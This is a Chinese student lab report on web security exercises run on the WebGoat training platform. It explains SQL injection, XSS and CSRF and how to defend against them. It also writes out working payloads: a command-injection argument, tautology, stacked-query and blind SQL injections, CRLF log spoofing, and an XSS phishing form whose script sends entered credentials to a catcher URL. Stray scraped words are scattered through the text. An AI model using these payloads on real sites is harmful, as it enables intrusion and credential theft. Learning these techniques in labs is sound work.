2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

基础问题回答

  • 1.SQL注入攻击原理,如何防护?
    • 原理:SQL注入,就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    • sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其余方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要缘由。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登陆、显示信息等目的。
    • 防护:
      • 关闭或删除没必要要的交互式提交表单页面;
      • 对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
      • 不要在服务器端放置备份的文件以避免受到感染,或备份的文件含有漏洞,形成切入点;
      • 将数据库里的内容进行加密处理使其不具备特殊的意义。
  • 2.XSS攻击的原理,如何防护?
    • 原理:XSS:跨站脚本。攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。
    • 防护:
      • 用户角度:提升防范意识,不要轻易输入我的信息,如用户名密码;
      • 网页制做者角度: 对输入和URL参数进行过滤;在输出数据以前对潜在的威胁的字符进行编码、转义
  • 3.CSRF攻击原理,如何防护?javascript

    • 原理:html

      • CSRF就是冒名登陆。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,由于目前主流状况Session都是存在Cookie中.攻击者并不关心被害者具体账号和密码,由于一旦用户进行了登陆,Session就是用户的惟一凭证,只要攻击者可以获得Session,就能够假装成被害者进入服务器.
    • 防护:java

      • 验证请求中的Token
      • 验证 Referer
      • 添加加随机验证
      • 设定cookie域

实践过程记录

Exp9_2 SQL注入攻击(Injection Flaws)

1.命令注入(Command Injection)

  • 概念:命令注入攻击对任何一个以参数驱动的站点来讲都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能形成大范围的损害,危及系统安全。尽管这类风险数目使人难以置信,互联网中的系统很容易受到这种形式的攻击。
  • 原理:在正常的参数提交过程当中添加恶意代码以执行某条指令。
  • 目标:能够在目标主机上执行任何系统命令
  • 操做方法: 右键点击那个长按钮,选择inspect Element审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加 "& netstat -an & ipconfig" web

  •  

  •  

2.数字型注入(Numeric SQL Injection)

  • 概念:注入数字型数据(如:永真式)达到注入的效果。
  • 原理:在station字段中注入特征字符,组合成新的SQL语句。正则表达式

  • 目标:该例子经过注入SQL字符串查看全部的天气数据。sql

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加 or 1=1 数据库

  • 显示全部城市的天气状况,攻击成功!后端

  •  

3.日志欺骗(Log Spoofing)

  • 概念:经过在日志文件中插入脚本实现欺骗。
  • 原理:在日志文件中愚弄人的眼睛,攻击者能够利用这种方式清除他们在日志中的痕迹
  • 目标:灰色区域表明在 Web 服务器的日志中的记录的内容,咱们的目的是使用户名为“admin”的用户在日志中显示“成功登陆”浏览器

  • 前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。 利用入回车(0D%)和换行符(%0A),在 username 中填入 fenix%0d%0aLogin Succeeded for username: admin 安全

  •  

5.Stage 1: 字符串型注入(Stage 1: String SQL Injection)

  • 原理:经过注入字符串绕过认证

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改成20。

  • 以用户Neville(admit)登陆,输入密码 hello' or '1' = '1  获得全部人员列表,攻击成功!

  •  

6.Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

  • 原理:经过注入数字型数据,绕过认证,能够经过普通员工的帐户,查看到BOSS的用户信息。

  • 操做方法:使用用户名 Larry,密码 larry 点击login登陆,点击ViewProfile查看用户信息

  • 右键点击页面,选择inspect Element审查网页元素源代码,咱们能够看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。

  • 用社会工程学解释老板应该是工资最高的,因此将员工ID的value改为101 or 1=1 order by salary desc,使得老板的信息做为查询到的第一条数据。

  •  

7.SQL 注入(LAB: SQL Injection)

  • 概念:经过注入字符串绕过认证
  • 原理:基于如下查询语句构造本身的 SQL 注入字符串。 SELECT * FROM userdata WHERE lastname = '?'
  • 目标:下面的表格,容许用户查看他们的信用卡号码。尝试经过 SQL 注入将全部信用卡信息 显示出来。尝试的用户名是“Smith”。 正常状况下只能查询到用户名对应的信用卡号码
  • 输入查询的用户名 Smith' or 1=1-- (Smith 和1=1都成了查询的条件,而1=1是恒等式,所以能查询到表里面的全部数据)
  •  

8.数据库后门(Database Backdoors)

  • 原理:数据库一般做为一个 Web 应用程序的后端来使用。此外,它也用来做为存储的媒介。 它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操做,如 insert, select, update or delete。举个例子:攻击者能够建立一个触发器, 该触发器在建立新用户时,将每一个新用户的 Email 地址设置为攻击者的地址。
  • 目标:利用查询的脆弱性建立触发器。因为 WebGoat 使用的是 MySQL 数据库,不支持触发器,因此该课程不会真正完成。 咱们的 Login ID 是 101。

  • 输入101,获得该用户的信息。咱们能够看到,输入的语句没有验证,很容易进行 SQL 注入

  • 输入注入语句 101; update employee set salary=18000 执行两个语句

  •  

  •  

9.数字型盲注入和字符串盲型注入

  • 原理:某些 SQL 注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。 目标:该题目容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。咱们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,经过该题目。
  • 本题目中,服务端页面返回的信息只有两种:账号有效或无效。所以没法简单地查询到账号的PIN数值。但咱们能够利用系统后台在用的查询语句 SELECT * FROM user_data WHERE userid=accountNumber ; 若是该查询语句返回了账号的信息,页面将提示账号有效,不然提示无效。使用 AND 函数,咱们能够添加一些额外的查询条件。若是该查询条件一样为真,则返回结果应提示账 号有效,不然无效。

  • 针对查询语句的后半部分构造复杂语句,如: 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ) ;若是提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364

  • 因为这两种注入攻击方式都创建在大量尝试基础上,所以我直接拿测好的数据进行注入
  •  

10.XSS 钓鱼(Phishing with XSS)

  • 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,能够实现钓鱼工具或向某些官方页面中增长内容。对于受害者来讲很难发现该内容是否存在威胁。
  • 目标:建立一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
  • 步骤:
  • 利用XSS能够在已存在的页面中进一步添加元素,包括两部分:
    • 受害人填写一个表格;
    • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
  • 编写一个带用户名和密码输入框的表格
  • </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    //表格
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>

     

  •  

11.CSRF攻击(Cross Site Request Forgery)

  • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。以下代码所示:
  • 当受害者的浏览器试图打开这个页面时,它会使用指定的参数向 www.mybank.com 的transferFunds.do 页面发送请求。浏览器认为将会获得一个图片,但其实是一种资金转移功能。
  • 在Message框中输入,这样就转走了10000~~~(咳咳)
  •  

实验总结与体会

本次试验在webgoat平台上,一个专门教新手金雪web攻击的平台,虽然可能只是一些肤浅易懂且目前实用性不高的漏洞,但最主要的东西是去学习每一个攻击手段的原理,在动手的过程当中思考。

相关文章
相关标签/搜索